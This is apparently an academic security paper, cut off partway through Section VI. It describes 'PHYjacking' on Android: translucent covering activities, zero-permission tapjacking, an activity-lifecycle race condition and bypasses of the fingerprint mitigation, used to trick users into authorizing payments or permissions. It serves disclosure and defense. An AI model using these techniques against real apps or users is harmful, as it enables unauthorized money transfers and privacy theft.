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Abstract—Nowadays, most mobile devices are equipped with
various hardware interfaces such as touchscreen, fingerprint
scanner, camera and microphone to capture inputs from the user.
Many mobile apps use these physical interfaces to receive user-
input for authentication/authorization operations including one-
click login, fingerprint-based payment approval, and face/voice
unlocking. In this paper, we investigate the so-called PHYjacking
attack where a victim is misled by a zero-permission malicious
app to feed physical inputs to different hardware interfaces on a
mobile device to result in unintended authorization. We analyze
the protection mechanisms in Android for different types of
physical input interfaces and introduce new techniques to bypass
them. Specifically, we identify weaknesses in the existing protec-
tion schemes for the related system APIs and observe common
pitfalls when apps implement physical-input-based authorization.
Worse still, we discover a race-condition bug in Android that
can be exploited even when app-based mitigations are properly
implemented. Based on these findings, we introduce fingerprint-
jacking and facejacking techniques and demonstrate their impact
on real apps. We also discuss the feasibility of launching similar
attacks against NFC and microphone inputs, as well as effective
tapjacking attacks against Single Sign-On apps. We have designed
a static analyzer to examine 3000+ real-world apps and find 44%
of them contain PHYjacking-related implementation flaws. We
demonstrate the practicality and potential impact of PHYjacking
via proof-of-concept implementations which enable unauthorized
money transfer on a payment app with over 800 million users,
user-privacy leak from a social media app with over 400 million
users and escalating app permissions in Android 11.

I. INTRODUCTION

Many authorization transactions in mobile devices require
confirmation with human inputs via some hardware interface.
With the proliferation of mobile devices equipped with a rich
set of hardware sensors, there is a widespread adoption of
authorization services based on different physical inputs, e.g.,
screen-tapping, fingerprint scanning and face recognition. In
this paper, we investigate authorization hijacking attacks when
different physical inputs are involved. A central issue of such
hijacking attacks is the clarity of context during authorization:
users need explicit notification about which app is requesting
the authorization for what data or action before making
the decision. Any confusion can potentially create security

threats during the authorization process. Thus, attackers may
deliberately create confusion and make the victim authorize
something unwanted to realize authorization hijacking. As
users tend to retrieve the authorization context based on visual
contents, User Interface (UI) attack is an important, but not
the sole, component for authorization hijacking. By combining
new found attack vectors on physical input APIs with the
manipulation of on-screen content to hide or obscure the
context, it is possible to lure the victim to feed physical inputs
to different hardware interfaces on mobile devices and result
in unintended authorization. We coin the term PHYjacking
for such attacks. In this work, we study and demonstrate the
feasibility of PHYjacking on Android devices by analyzing
and answering the following research questions:

Q1 Are there practical techniques for attackers to hide or
manipulate the authorization context?

Q2 Do mobile operating systems (OS) continue to accept the
target physical input during authorization even when the
context information is not visible to the user?

Q3 Do real-world apps perform checking during authoriza-
tion to ensure proper context information is delivered to
the user?

There are many possible situations for the user to miss the
context information during authorization, including the cases
when the OS or app does not provide enough information, or
the user ignores the information, or the context information is
covered by some other window. In the last case, as shown
in Fig. 1, the OS or app should immediately block the
physical input to avoid unintentional authorization. Otherwise,
a malicious app can create a delusive covering above the
benign authentication window to hijack the physical input.
One realistic attack scenario: a malicious app displays a fake
unlock screen to trick the user to habitually do a fingerprint
scanning without knowing that the fingerprint is actually used
by a target app to approve an unintended fund transfer.

After analyzing Android system API and legitimate apps
regarding their protection mechanisms on various physical in-
puts, we discover various system/app-level weaknesses which
can be exploited to realize the aforementioned authorization
hijacking attacks. Based on these findings, we propose a gen-
eral PHYjacking framework targeting various physical autho-
rization inputs, including screen touch, fingerprint scanning,
face recognition, NFC tag reading, and voice-based unlock.
Fig. 2 summarizes the existing as well as the new approaches
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Fig. 1: Possibility of PHYjacking: is the user-input detected
by the physical sensors received by its intended application?

we proposed to enable PHYjacking. In particular, we intro-
duce new techniques for creating declusive visual coverings,
manipulating Android Activity Lifecycle and combining them
with other attacks like tapjacking. Our research also reveals
several security bugs in the Android system, including i) a
flaw in the latest fingerprint hijacking mitigation mechanism,
ii) a permission hijacking vulnerability in a security essential
system setting, and iii) a race-condition bug in the Android
Activity Lifecycle. Our proposed PHYjacking attacks are
practical and effective because: 1) all of them can be launched
from a zero-permission malicious app ; 2) they can bypass
various system-level countermeasures introduced by recent
versions of Android and 3) they are able to exploit widespread
app implementation flaws when using physical-input APIs. We
demonstrate the feasibility and potential impact of PHYjacking
by implementing proof-of-concept (PoC) attacks 1 for popular
real-world apps across various Android versions. We show that
with a zero-permission malicious app, the attacker can cause
damage in form of financial loss, user privacy leaks, and app
privilege escalation. To summarize, this paper has made the
following technical contributions:

• We propose and investigate PHYjacking, a new class of
authorization hijacking attacks which mis-directs security
sensitive user-inputs from different kinds of physical
sensors in a smartphone or tablet.

• We identify new security issues in Android, including
a mitigation weakness, a race-condition attack that can
break the Android Activity life cycle model, and a crucial
permission setting that is vulnerable to hijacking.

• We demonstrate the practicality and critical impact of
PHYjacking via proof-of-concept attacks against promi-
nent mobile apps.

• We design a static code analyzer and use it to discover
that a significant portion of Android apps in the wild
contain implementation flaws that are vulnerable to PHY-
jacking.

Roadmap. We first provide background knowledge in II and
then propose the overall PHYjacking framework in III. As
two key parts of the framework, IV introduces new confusion
setup techniques, and V analyzes flaws in existing protection
schemes. VI details concrete attacks for different physical in-
puts, while VII presents empirical results of our measurement

1Sample code and video demo of attacks can be found at: https://mobitec.
ie.cuhk.edu.hk/phyjacking
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Fig. 2: Overview and taxonomy of PHYjacking techniques.

study. We then discuss possible mitigations (VIII) and related
work (IX) before concluding the paper (X).

II. BACKGROUND

A. Authorization in Android

There are countless scenarios where authorization is in-
volved in Android. Our study focuses on in-app authorization
like payment confirmation or permission grant. We abstract
the following concepts from general authorization scenarios
to facilitate discussions:

• Objective: Every authorization request has an objective,
be it acting on behalf of the user (e.g., to confirm fund
transfer) or retrieving information (e.g., get the user’s
profile).

• Physical input: Apps rely on various physical inputs
from the user for confirming the authorization via button
tapping, fingerprint scanning, face recognition or voice
unlocking, etc., where different hardware sensors/ inter-
faces are involved.

• Entity: The multiple interacting parties engaged in the
authorization process, namely, the requester, provider,
and user. The requester requests permission. Once the
user approves, the provider can disclose the information
or proceed with the action.

With the above definitions, Table I depicts different authoriza-
tion scenarios and the physical input interfaces involved.

B. Android Security Mechanisms

The security of the authorization process depends on mul-
tiple security provisions in Android, at both the software
and hardware level. The following discussions focus on the
mechanisms which are essential to our study.

a) Permissions. Android framework defines three permission
levels for apps, namely, normal, signature and dangerous.
Dangerous permissions need to be explicitly granted by the
user at runtime, while normal level permissions are granted
automatically at app installation time. All permissions need
to be declared statically in the Android Manifest file. To
access the fingerprint sensor, an app needs to request the
USE_FINGERPRINT permission, which is a normal level auto-
grant permission. Therefore, every app that integrates fin-
gerprint functionalities will declare this permission in its

2

https://mobitec.ie.cuhk.edu.hk/phyjacking
https://mobitec.ie.cuhk.edu.hk/phyjacking


TABLE I: Examples of Authorization Scenarios on Android

Objective Physical input Input device Requester Provider
Fingerprint payment money transfer finger scanning fingerprint sensor shopping app (e.g., eBay) mobile wallet (e.g., PayPal)
Single Sign-On login button tapping touchscreen third-party app (e.g., Airbnb) social platform (e.g., Facebook)
Permission granting get permission switch enabling touchscreen Android app Android system
Face unlock unlock device face recognition camera Android system Android system
NFC card payment money transfer NFC scanning NFC sensor shopping app mobile wallet

Manifest file. By default, apps have no permission to draw
persistent overlays on other apps, except for apps having the
SYSTEM_ALERT_WINDOW permission. This permission is under
the dangerous level and needs explicit granting by the user.

b) Hardware. The permission model for apps can limit their
capabilities and restrict access to system resources. However,
for apps running in an insecure environment, e.g., rooted
devices, the manufacturers need to develop hardware-level
protection mechanisms to avoid data leakage. For instance, to
prevent attackers with root privileges from accessing sensitive
data, manufacturers nowadays ship the chips with compart-
mentalized hardware modules (e.g., TrustZone for ARM) that
can execute code in an isolated domain. With TrustZone, the
raw fingerprint data is encrypted and stored securely even
when the Android system is fully compromised.

C. Android Activity Lifecycle

Android Activity Lifecycle is one of the core designs of the
Android UI model. It forms the foundation of our discussion
on new confusion attacks in Section IV. Activities are pages
with widgets that are shown to users and are basic components
of Android apps, analogous to windows in PC systems. An
Activity, whose lifecycle is modeled and managed by the
Android framework, can be created, paused, and destroyed.
Fig. 3 illustrates the simplified Activity Lifecycle model.

onStart/onRestart onResume

onPauseonStop

onCreate

switch to 
background

invisible

navigate back, 
process is running

navigate back,  
process was killed

Listen to physical inputCreate UI elements button tap

Cancel physical inputCancel physical input

①

②③

Fig. 3: Simplified diagram of Android Activity Lifecycle and
common implementation patterns of the authorization process.

When a user enters a new Activity, the onCreate
event will be triggered first, followed by the onStart
and onResume events. In usual cases, when an Activity is
switched to the background, onPause and onStop will be
triggered sequentially. However, if the background Activity is
still visible, e.g., when covered by a translucent Activity, it
stays in the paused state instead of being stopped. Finally,
when the user brings the background Activity to foreground,

the onRestart and onStart (only if it was stopped), as
well as onResume events are triggered sequentially.

The Activity lifecycle model is intertwined with the im-
plementation of the different authentication processes. A
common practice is to start listening to the physical input
(e.g., fingerprint scanning) upon the onResume event of the
associated Activity and cancel the listener upon the onPause
or onStop event, as shown by ①, ②, ③ respectively in Fig. 3.
In this way, the app will start listening to the sensor once
the Activity appears and close the sensor once the Activity
disappears. However, some apps only start listening to physical
input after a button tapping and never cancel the listener.

D. Android API for Dedicated Sensors

While some physical inputs used for authorization are
from general sensors, like touchscreen and microphone, some
sensors are dedicated to authentication. One typical example
of such a sensor on mobile devices is the fingerprint scanner.
Although mobile phones are equipped with different vendor-
specific fingerprint sensors, Android defines a Hardware Ab-
straction Layer (HAL) and provides a unified fingerprint API.
Android released the first official fingerprint API in Android
6.0 (2015), wrapped in the FingerprintManager class. This
API was the only official API to support vendor-independent
fingerprint scanner access by apps until the rollout of the
new biometricPrompt API [1] in Android 9. One major
difference of the latter API is that it provides a unified
UI when prompting users to input their fingerprints. Apart
from relieving developers from implementing their own UI,
it also reduces the risks of problematic implementation by
app developers. However, the biometricPrompt API is not
backward compatible with devices before Android 9. Accord-
ing to the official Android website [2], until June 2021, more
than 50% of devices are still running versions older than
Android 9. Additionally, the biometricPrompt API is not
supported on all vendors’ devices. Some devices, e.g., specific
Samsung devices, can only use the old API [3]. Therefore,
a significant portion of apps in the wild are still using the
FingerprintManager API. To further mitigate risks and
guarantee What You See is What You Sign (WYSIWYS),
Android 9+ also patched the code of FingerprintManager
API to add checking-logic to ensure the app occupying the
fingerprint scanner is the one running in the foreground.

The vision of biometricPrompt API is to unify the
acquisition of various biometric modalities, including face,
fingerprint, and iris. However, due to the security requirement
for hardware, most devices do not have dedicated 3D face
sensors to support this API for face recognition. Many third-
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party SDKs support face recognition using general-purpose
camera APIs in Android, which include a deprecated Camera
API and a new Camera2 API with more features. There are
different ways for apps to fetch camera images. One common
approach is to get streaming frames from live preview using
the onPreviewFrame() callback. Another way is to take a
single photo with an API call like takePicture(). There are
also apps relying on the system camera app to take the photo.

III. THE PHYJACKING ATTACK FRAMEWORK

In this section, we discuss the threat model, settings, and
general procedure of PHYjacking attacks.

A. Attacker Capabilities

The physical input hijacking attacks discussed in this paper
follow the malicious app attacker model. We assume the
attacker can install a malicious app on the victim’s device,
e.g., by uploading the malicious app to either Google Play or
some other unofficial app markets and waiting for victims to
install it. Note that our malicious app requires no permission
to be granted by the user explicitly. Its capabilities are the
same as other regular apps, which are limited by the Android
framework. We also assume that the victim will launch the
malicious app at least once. Unless otherwise stated, the
attacks we discuss in this paper follow this threat model by
default. Our attack does not require system privilege escalation
and the victim device need not be rooted.

B. Targets and Scenarios of the Attack

In common physical input hijacking scenarios, there are four
primary entities: the victim user, the mobile device, the target
app, and the malicious app. The goal of the physical input
hijacking is to lure the victim into feeding physical input to
his mobile device and unknowingly authorize sensitive actions
in the target app. The role of the malicious app in the attack
process is only to invoke the authorization process in the
target app and layout the delusive interface. It does not try
to capture or steal the physical input. The physical input data
itself is not what interests attackers. Their ultimate goal is to
steal sensitive information or permission, which are usually
controlled and owned by the legitimate target app, and can
only be accessed or exported after proper authorization. For
example, mobile wallets host balance accounts for users. A
fingerprint touch received by the malicious app is useless.
However, if the attacker can lure the victim into touching the
fingerprint sensor when the mobile wallet app is waiting for
fingerprint authorization of money transfer, then the attacker
can steal money from the victim account.

Depending on the physical input required for authorization,
the hijacking target can be different. In this work, we study the
possibility of launching hijacking attacks against the following
types of physical inputs:

• Fingerprint scanning. Most modern mobile devices are
equipped with fingerprint sensors, which can be used as
a biometric authenticator. Apps may utilize these sensors
for content unlock or payment confirmation. Android

(A)Malicious app

Target app 
undesired state

Target app 
authorization state Target app 

authorization state

Covering

(B)

Listen to  
physical input

(C)

OS protection

(D)

App mitigation
NFC tag
reading

Screen  
touch

Face
recognition

Fingerpint
scanning

state transition
launch activity

interrupt listener
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physical inputs

Legend
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Mitigation Bypass

Fig. 4: The general framework of PHYjacking attack. (A)
Driving target app to the desired state. (B) Creating malicious
covering. Bypassing system (C) and app (D) level protections.
(C) and (D) are key challenges to enable the attack.

system provides dedicated APIs for apps to access the
fingerprint scanner.

• Face recognition. Apart from a few mobile devices with
dedicated face recognition hardware, most devices utilize
the general-purpose camera for face recognition. Apps
can use either system-provided API or third-party SDK
(software development kit) for face recognition. Mean-
while, some popular apps support face recognition for
payment authorization.

• Screen tap. Screen tap is the most common physical input
on mobile devices for confirmation action. For example,
a single button tap is all it needs to authorize Single Sign-
On.

• NFC tag scanning. Mobile phones with embedded NFC
chips can be used either as an emulated card or a reader.
Towards this end, some apps use such functions to read
tags for authorization in different scenarios like payment.
The user needs to put a tag near the mobile device to
proceed.

• Audio recording. Though less common, some apps re-
quest for owners’ voice or encoded ultrasound for pay-
ment or login.

C. The Required Steps of PHYjacking
To launch PHYjacking, the following requirements need to

be satisfied:
• RQ1: Enforce the target state. The target app needs to

be driven to the state where it is listening for physical
inputs.

• RQ2: Cover without interruption. The malicious app can
hide the authorization context in the target app by, i.e.,
creating delusive visual covering while not interrupting
the physical input listener in the target app.

• RQ3: Zero permission. For effectiveness consideration,
the malicious app should not require any special per-
mission which may raise suspicion from the victim or
security vetting systems.

To achieve RQ1, the malicious app needs to call Android
API like startActivity to invoke the authorization Activity
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in the target app, as shown by Step (A) in Fig. 4. Although
Activities in Android disable direct invocation by default,
some target apps which offer services like payment or Single
Sign-On to third-party applications tend to enable it to enhance
usability. Even if the target Activity is not directly invocable
or requires button taps during authorization, the malicious app
can still launch another Activity in the target app that can
reach the authorization state with a few taps. From there, the
malicious app can employ tapjacking to mislead the victim to
navigate to the desired state. This approach is illustrated in
Fig. 4 as the “optional path”. An alternative approach is to
put the malicious app in the background and passively wait
for the desired state of the target app. However, in modern
Android systems, both background running and inferring other
apps states are mitigated. Therefore, the proactive approach is
more practical and effective.

The hurdles for RQ2 depend on the specific type of physical
input to be hijacked. When the malicious app covers the target
app after Step (B), either the target app or the system may
interrupt the authorization process to protect the user from UI
hijacking attacks, as shown by (C) and (D) in Fig. 4. Android
systems and apps may take different mitigation strategies to
handle the potential attacks. For example, recent Android ver-
sions provide an optional solution to prevent tapjacking, while
the mitigation to prevent fingerprint hijacking is enforced.
Apps can also implement their own foreground detection logic
and stop accepting physical inputs in a timely manner.

The high-level framework of PHYjacking is depicted in
Fig. 4. Depending on the implementation of the target app
and the type of physical inputs, the attacker needs to choose
different routes and apply various techniques. Details of each
attack scenario and the corresponding techniques will be
discussed in the following sections.

IV. NEW TECHNIQUES FOR CONFUSION SETUP

To set up the confusion scene for PHYjacking, we need
several UI attack techniques as the building blocks. As shown
by Step (B) in Fig. 4, we need to first hide the authoriza-
tion context. This can usually be achieved by creating some
delusive top window to cover the actual authorization window.
Second, the malicious app needs to drive the target app to the
desired state to prepare for the attack. When direct invocation
(A) is not viable, we can employ tapjacking technique to
guide the user to navigate the target app to the desired state.
For effectiveness consideration, we should achieve these steps
without requiring special permissions for the malicious app.

A. Why Existing Techniques are Not Enough?

A handful of Android UI hijacking techniques already exist,
which may potentially be used as building blocks for PHY-
jacking. In what follows, we review these relevant techniques
and explain why they alone cannot meet our requirements.

a) Tapjacking. As a well-known UI attack, various tapjacking
techniques have been discussed in literature [4], [5] and
exploited by malicious apps in the wild [6]. Existing tapjacking
on Android mainly rely on two features: 1) “draw over apps”

window and 2) manipulated toast window. The former requires
special permission, which contradicts RQ3. The latter has been
patched in 2017.

b) Task Hijacking. Researchers in [7] discovered that, by
manipulating the Android Activity stack model, adversaries
can hijack the task stack and always put a malicious Activity
above another Activity. One popular attack vector is setting the
taskAffinity attribute to match the target app. Malicious
apps mainly use this approach for phishing attacks. When
applying task hijacking to our attack scenario, we found that it
could not meet RQ2 because the target app underneath became
inactive, and the physical input listener would be interrupted.

B. New UI confusion techniques for PHYjacking

The aforementioned UI attacks either require special per-
mission or cause interruption of the authorization process. To
satisfy our requirements, we propose the following three UI
confusion techniques as building blocks for PHYjacking.

a) Translucent Covering: Zero-Permission Overlay. Existing
malicious overlay attacks usually try to achieve a persistent
floating layer that will not be dismissed during app switching.
However, this feature usually relies on special permissions
or unfixed bugs. As we target one-time hijacking, persistent
overlay is not required, and it is possible to find more effective
ways of creating a covering layer without interrupting the
underneath Activity. One suitable technique we discovered
is to launch a covering Activity with the Translucent

property. Android pauses an Activity if it is not in the
foreground but only stops or destroys it when it becomes
invisible to the user. Setting the Translucent (android
:windowIsTranslucent) property for the covering Activity
makes the system deem the underneath Activity as visi-
ble, which leaves the physical input listener staying alive
in some cases. In actual attacks, the transparency of the
covering can be configured so that it is visually opaque.
By design, an Activity can set the singleInstance launch
mode to ensure it is created in a separate task and no other
Activities will be put into the same task. An example of
such is the “System Setting” app, which is supposed to
forbid any cover layer. However, if we launch the translu-
cent covering with flags FLAG_ACTIVITY_NEW_TASK and
FLAG_ACTIVITY_MULTIPLE_TASK, it can be displayed on
top of the target Activity regardless of its launch mode.

b) Zero-Permission Tapjacking. When the desired state of
the target app is not directly reachable, the attacker can employ
tapjacking to lure the user to navigate through the underneath
app to reach the state required for the attack. Instead of using
existing tapjacking techniques with permission requirements
like the “draw over apps” window, we propose an alternative
zero-permission tapjacking technique that uses the translucent
covering. This is achieved through three key techniques:

1) tap-through: The covering should pass the tap event to
the underneath window. This can be done by setting the
FLAG_NOT_TOUCH_MODAL and FLAG_NOT_TOUCHABLE

flags, as shown in [4].
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2) persistency: Unlike a window with the “draw over
apps” permission, our zero-permission covering will
be switched to the background if the underneath app
launches a new window. However, by relaunching itself
at its onPause event, it can always revive on top. Also,
by setting the FLAG_ACTIVITY_NO_ANIMATION flag, the
transition can become unnoticeable to the victim.

3) state inferring: For a more convincing multi-step attack,
the malicious covering needs to change its visual content
adaptively. Although the covering cannot get the touch
events, each trigger of its pause event indicates an Activ-
ity transition in the underneath app. It can also query the
availability of the target hardware sensor to infer if the
underneath app is in the desired input listening state.

c) Corrupting Activity Lifecycle with Race Condition. Al-
though the translucent covering will not stop the underneath
Activity, it still turns it into the paused state, which can
interrupt the input listener in some cases. For instance, some
apps explicitly close the listener upon onPause event. Also,
some system APIs, like the fingerprint API, enforce fore-
ground usage and automatically close the sensor when Activity
state changes. To search for possible circumvention of these
lifecycle-based mitigations, we test combinations of Activity
launching APIs and flags to look for unexpected Activity
Lifecycle states and discover the following race condition bug
which has serious consequences: if one launches a translucent
Activity within 100 msec after starting a normal Activity, the
Activity Lifecycle can be driven into a limbo state where both
Activities resume, contradicting the design principle of the
Lifecycle model that only one Activity can be in the resumed
state at any time.

To exploit this race condition bug, a malicious app can
first launch the target Activity and then the covering within
100 msec, depicted as (A) and (B) in Fig. 4, to result in
two simultaneously running (resumed) Activities. As shown
in Listing 1, in normal cases, the underneath VictimActivity
receives the onPause event as expected (line 5). When
the race condition is triggered, the underneath VictimActivity
stays in the resumed state (line 12). Leveraging this critical
finding, we manage to bypass some system-level and app-level
protection mechanisms. Refer to VI-D for details.

1 # Failed to trigger race condition:
2 20:38:55.065 lifecycleLog: Activity.onCreate: <VictimActivity>
3 20:38:55.085 lifecycleLog: Activity.onStart: <VictimActivity>
4 20:38:55.085 lifecycleLog: Activity.onResume: <VictimActivity>
5 20:38:55.155 lifecycleLog: Activity.onPause: <VictimActivity>
6 20:38:55.189 lifecycleLog: Activity.onStart: <MaliciousActivity>
7 20:38:55.190 lifecycleLog: Activity.onResume: <MaliciousActivity>
8

9 # Race condition triggered:
10 20:39:25.314 lifecycleLog: Activity.onCreate: <VictimActivity>
11 20:39:25.378 lifecycleLog: Activity.onStart: <VictimActivity>
12 20:39:25.379 lifecycleLog: Activity.onResume: <VictimActivity>
13 20:39:25.454 lifecycleLog: Activity.onCreate: <MaliciousActivity>
14 20:39:25.477 lifecycleLog: Activity.onStart: <MaliciousActivity>
15 20:39:25.480 lifecycleLog: Activity.onResume: <MaliciousActivity>

Listing 1: Activity events log when race condition failed and
succeeded.

In Android, there are mainly two APIs for launch-
ing Activities. One is startActivity and another is
startActivities. The latter can launch a sequence of
Activities in a single call. Mechanisms of these two APIs
have differences and vulnerabilities that only apply to the
latter have been reported in the past [8]. PHYjacking involves
launching at least two Activities, the target and the covering.
Our experiments show that by making two startActivity

calls within 100 msec or using startActivities can
consistently trigger the race condition.

V. ANALYSIS OF SYSTEM AND APP PROTECTIONS

With the new confusion setup techniques we proposed
in the previous section, we can achieve Step (A) and Step
(B) in Fig. 4 and put the target app in the desired state
waiting for some physical input before authorizing some
action. However, it is still unclear whether the physical input
can be hijacked due to possible system-level protection (C)
and app-level mitigations (D). We studied several physical
inputs, including fingerprint scanning, face recognition, NFC
tag reading, and microphone recording. In this section, we
present existing protections and practical attacks for each of
them. Among them, fingerprint scanning and face recognition
are the most employed physical inputs for in-app authorization.
As such, we will discuss in detail the attacks against these
two types of authorizations and refer them as fingerprint-
jacking and facejacking respectively. After that, we present
PHYjacking with other inputs, including screen touch, NFC
tag reading, and microphone recording. As a preview, Fig. 5
shows screenshots of PHYjacking in action against some real
apps using different physical inputs.

A. Mitigations in Apps

Apps using dedicated sensor(s) for authorization usually
need to manage the opening and closing of the sensor(s) by
themselves. Android does not document how the system can
protect apps from hijacking for most physical inputs during
authorization (except for a tapjacking mitigation [9]). On the
other hand, some official guidelines mention that the hardware
resource should be closed and released after the usage “for
use by other application” [10]. In fact, it is important for apps
to promptly cancel listening to physical input and close the
sensor during authorization. Correct implementation of this
behavior can mitigate the hijacking attacks to some extent.
More specifically, to properly protect the app against PHYjack-
ing attacks, developers need to detect and stop background
authorization by themselves since system protection is not
always available or reliable. The correct practice is relatively
simple: interrupt the input listener or close the sensor in the
onPause event of the authorization Activity. As a result,
whenever a new Activity switches to the foreground, the
fingerprint authorization process will be interrupted. We refer
to this implementation as cancel-on-pause in the rest of the
paper.
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(a) Fingerprint-jacking (b) Facejacking (c) SSO Hijacking (d) NFC Hijacking (e) Voice Hijacking (f) Permission Hijacking

Fig. 5: PHYjacking against real-world apps with different physical inputs

B. Protections in System APIs

The possibility of UI confusion poses the risk of hijacking.
If the system or app can guarantee that the user sees the actual
authorization request, the risk can be mitigated. We study
the source code of different versions of Android and APIs
to check if the foreground presence of authorization Activity
is securely enforced during physical input listening. Here,
we focus on fingerprint and camera APIs. We will outline
protections of other physical inputs like screen touch and NFC
when introducing the corresponding PHYjacking attacks.

a) Fingerprint API. As discussed in II-D, Android
has two sets of fingerprint APIs. One is the legacy
FingerprintManager API that has been available
since Android 6 (2015). The other one is the new
BiometricPrompt API introduced in Android 9 (2018),
which provides “a safe, familiar UI for user authentication”
[1]. Before Android 9, there is no hijacking protection in the
FingerprintManager API, where apps may occupy the
fingerprint scanner in the background. A malicious app can
quickly launch the target Activity and then switch it to the
background, hide the context, and lure the user to input the
fingerprint. To bridge the gap, Android 9 added a patch [11]
to the FingerprintManager API to mitigate the fingerprint
hijacking risk. The patch aims to perform a consistency check
between the foreground Activity and the fingerprint Activity
whenever the Activity stack is changed (e.g., when there
is an Activity switch). We call this mitigation mechanism
check-on-stack-change. The exact mitigation mechanism
also appears in the BiometricPrompt API. Unlike the
FingerprintManager API, where the UI during fingerprint
authentication needs to be implemented by the app developer,
the new API provides a unified dialog with customizable text
content. The cancellation of the fingerprint listener is also
handled by the API, which enforces cancel-on-pause.

b) Camera API. Like fingerprint APIs, in older versions of
Android (before Android 9), there is no restriction for apps
to use cameras in the background. Apps using the camera,
especially for authorization purposes, should close the camera
immediately when it is not in the foreground (in the onPause

event). Starting from Android 9, according to the documen-
tation, new limitations are introduced for accessing sensors
from the background, including disabling background camera
access [12]. Apps that require camera access in the background
should use foreground service and declare the corresponding
permission. While the foreground service is running, Android
displays a persistent notification to inform the user about it.
This protection mechanism also applies to the legacy camera
API (Camera 1) and the new camera API (Camera 2).

C. Common Pitfalls in App Implementations

As mentioned earlier, to shield users from PHYjacking
attacks, app developers should implement the cancel-on-pause
behavior in their apps since system level protection is not
always available. However, we find that many apps do not
provide such protection or have a flawed implementation.
More specifically, we have found two common, flawed im-
plementation patterns:

• Many apps do not handle the physical input cancellation
by themselves, which is referred to as never-cancel
implementation.

• Some apps only cancel the fingerprint authentication in
onStop or onDestroy event of the corresponding
Activity instead of the onPause event, we call this
incorrect implementation pattern as pause-failure.

D. Weakness in the System Protections

For some security-essential sensors or physical interfaces,
Android has recently added some system-level protections, as
we have seen in fingerprint and camera APIs. However, upon
examining their mechanisms and actual implementations, we
have identified several weaknesses that can lead to PHYjack-
ing attacks.

a) Mitigation bypass in the fingerprint API. By analyzing
the check-on-stack-change mitigation introduced in Android
9 to fingerprint APIs, we identify a weakness caused by an
incorrect assumption: it assumes that when the fingerprint
listener starts, the authentication Activity is in the foreground.
However, if the fingerprint scanner starts after the authen-
tication Activity is covered by another Activity, the check
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will never be triggered. There are several ways to achieve
such condition, depending on various implementation patterns
of apps and different system features. These tricks will be
presented when we use them to construct fingerprint-jacking
attacks in VI-C. There is also another unaddressed risk: the
“draw over apps” window is not in the Activity stack and thus
would never trigger the check. Nevertheless, such an issue is
beyond the scope of our threat model which requires zero
permission.

b) Noneffective protection in the camera API. Although of-
ficial documentation states that apps cannot access the camera
from the background starting from Android 9, it only applies
to cases where the app is trying to access the camera from
a background service or scheduler [13]. In contrast, we find
other ways for apps to run tasks when it has no foreground
Activity. For instance, when the Activity is switched to the
background, the process is cached without being killed imme-
diately. The threads created by the Activity can still run for
several minutes before the system scheduler decides to kill
it. Meanwhile, the camera is left accessible for precisely one
minute in our experiment on Android 11. This behavior ren-
ders the protection useless against our PHYjacking framework
where the target face recognition Activity under the malicious
covering can still access the camera. The one-minute time
window is long enough for a malicious app to lure the user
into completing the face recognition process.

VI. HIJACKING PHYSICAL INPUTS

With the confusion setup techniques discussed in IV and
mitigation bypasses introduced in V, we have workable solu-
tions for all key links (A), (B), (C) and (D) in Fig. 4. In this
section, we show the details of practical PHYjacking attacks
targeting different physical inputs.

A. Existing Attacks

Before introducing new PHYjacking techniques, we first
review some existing attack techniques and discuss their
limitations. The earliest work mentioning the idea of using
Android UI confusion for fingerprint hijacking is [14]. How-
ever, at that time, the Android official fingerprint API was
not even released yet, and the researchers did not discuss the
technical details behind. We test their approach on Android 6
and construct a similar two-step attack: 1) The malicious app
invokes the fingerprint listening Activity in the target app. 2)
After a while, the malicious app in the background launches
an Activity to cover the fingerprint app. We call this attack
the Trivial-attack in this paper. For this attack to work, the
following implicit requirements have to be satisfied:

• The app has the never-cancel flaw, namely, it never
cancels the input listener.

• Android system allows apps running in the back-
ground to continue listening to the physical inputs. The
FingerprintManager API before Android 9 allows
this, so does the camera API.

Thus, this attack can only work for a small set of flawed apps
and is disabled on the recent version of the fingerprint API.

The authors of [15] conducted a more recent study on Android
7. They introduced fingerprint UI attacks with the “draw over
apps” overlay as well as the trick of screen dimming, both
require some special permissions being granted by the user
to the malicious app. We will refer them as Float-attack and
Dimming-attack respectively. Similarly, authors of [16] also
used the “draw over apps” window for clickjacking on the
system camera app to get images without the camera permis-
sion in the malicious app, which is also a case of Float-attack.
All of these existing attacks either rely on special permissions
or can only be applied in some restrictive circumstances. We
seek more practical and powerful attacks.

B. Facejacking: Exploiting Flawed App Implementations

The Trivial-attack assumes never-cancel implementation
flaw in apps, which is a bit demanding in practice as many
apps follow the official documentation to close the sensor
somewhere. However, as we have discussed in V-C, the timing
of the closing call also matters. We observe that a significant
portion of apps suffer the pause-failure (as later will be shown
in the evaluation results in VII-A). Based on such observation,
we propose an attack using the translucent Activity to cover the
target Activity, which can avoid interrupting the physical input.
We name this attack as Translucent-attack. As introduced in
IV-B1, Activity covered by the translucent covering stays in
the paused state and never triggers the onStop event. Fig. 6
illustrates this attack with comparison to the Trivial-attack.
Combining this technique with ineffective system protection,
all apps using Android camera API for authorization without
proper cancellation are vulnerable to the face recognition
hijacking attack, facejacking in short. This technique also
applies to fingerprint-jacking against apps using fingerprint
API on pre-Android-9 devices, where the check-on-stack-
change mitigation is absent.

C. Bypassing Fingerprint-jacking Mitigation in Android 9

The Translucent-attack as well as the Trivial-attack only
work for fingerprint-jacking before Android 9. Due to the
check-on-stack-change mitigation added in Android 9, the
fingerprint listener will be interrupted immediately on launch-
ing the covering. However, as we discussed in V-D, the
patch mechanism is imperfect. It assumes that the fingerprint
listener starts before the covering is launched. If we ensure
the fingerprint listener is initialized only after the presence of
the malicious covering, we can avoid triggering the mitigation
code. We introduce two new mitigation bypassing attacks
based on this observation.
1) Wakeup-bypass. One corner case overlooked by the mitiga-
tion is when the device wakes up. The attacker can cover the
fingerprint Activity with malicious Activity before the device
goes to sleep. After wake-up, both Activities resume, and
then the underneath one is paused. If a fingerprint Activity
automatically starts listening at the onResume event (we call
this auto-resume pattern) and has the pause-failure flaw, the
fingerprint sensor can work in the background, avoiding any
stack change and thus evading the checking. Fig. 7 illustrates
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Malicious App
Disguised Activity

Target App
Face Recognition Activity

Malicious App
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onPause
face input stays alive

Malicious App
Disguised Activity

Target App
Face Recognition Activity

Malicious App
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onStop
face input interrupted

①

②

Fig. 6: Illustration of Translucent-attack, with comparison
to Trivial-attack. If the app cancels the authorization in the
onStop method, Trivial-attack in ① will not work, but our
new Translucent-attack as shown in ② will work.

Stack changed!
Fingerprint killed by OS

Fingerprint
cancelled

Slee
p/L

ock

Awake/Unlock
No stack change!

Fingerprint
resumed

Fig. 7: Illustration of the Wakeup-bypass in Android 9 and
